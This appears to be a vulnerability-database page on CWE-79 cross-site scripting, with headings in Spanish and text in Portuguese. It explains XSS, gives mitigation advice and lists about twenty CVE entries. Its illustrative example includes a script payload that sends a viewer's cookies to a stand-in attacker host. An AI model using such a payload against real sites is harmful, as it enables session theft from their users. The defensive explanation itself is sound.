Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-67849HIGHMoodle: moodle: cross-site scripting (xss) via improper sanitization of ai prompt responsesEPSS 0.3%CVE-2026-1796MEDIUMStyleBidet <= 1.0.0 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-50848MEDIUMA file upload vulnerability was discovered in CS Cart 4.18.3, allows attackers to execute arbitrary code. CS Cart 4.18.3 allows unrestrictedEPSS 0.3%CVE-2026-27009MEDIUMOpenClaw affected by Stored XSS in Control UI via unsanitized assistant name/avatar in inline script injectionEPSS 0.3%CVE-2025-8196MEDIUMMagical Addons For Elementor <= 1.3.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom AttributesEPSS 0.3%CVE-2026-4379MEDIUMLightPress Lightbox <= 2.3.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'group' Shortcode AttributeEPSS 0.3%CVE-2025-8391MEDIUMMagic Edge – Lite <= 1.1.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via height ParameterEPSS 0.3%CVE-2025-48918HIGHSimple Klaro - Moderately critical - Cross Site Scripting - SA-CONTRIB-2025-071EPSS 0.3%CVE-2024-21188MEDIUMVulnerability in the Oracle Financial Services Revenue Management and Billing product of Oracle Financial Services Applications (component: EPSS 0.3%CVE-2025-7658MEDIUMTemporarily Hidden Content <= 1.0.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-63949MEDIUMA Reflected Cross-Site Scripting (XSS) vulnerability in yohanawi Hotel Management System (commit 87e004a) allows a remote attacker to executEPSS 0.3%CVE-2025-53253MEDIUMWordPress WP Edit plugin <= 4.0.4 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2023-53928MEDIUMPHPFusion 9.10.30 Stored Cross-Site Scripting via File Manager UploadEPSS 0.3%CVE-2025-66924MEDIUMA Cross-site scripting (XSS) vulnerability in Create/Update Item Kit(s) in Open Source Point of Sale v3.4.1 allows remote attackers to injecEPSS 0.3%CVE-2026-3513MEDIUMTableOn – WordPress Posts Table Filterable <= 1.0.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'class' Shortcode AttributeEPSS 0.3%CVE-2025-7809MEDIUMStreamWeasels Twitch Integration <= 1.9.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-6673MEDIUMEasy restaurant menu manager <= 2.0.1 - Authenticated (Contributot+) Stored Cross-Site Scripting via `nsc_eprm_menu_link` ShortcodeEPSS 0.3%CVE-2025-9225MEDIUMCross-site scripting (XSS) in MiR robots and MiR fleetEPSS 0.3%CVE-2024-45594HIGHDecidim allows cross-site scripting (XSS) in the online or hybrid meeting embedsEPSS 0.3%CVE-2025-8212MEDIUMMedical Addon for Elementor <= 1.6.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Typewriter WidgetEPSS 0.3%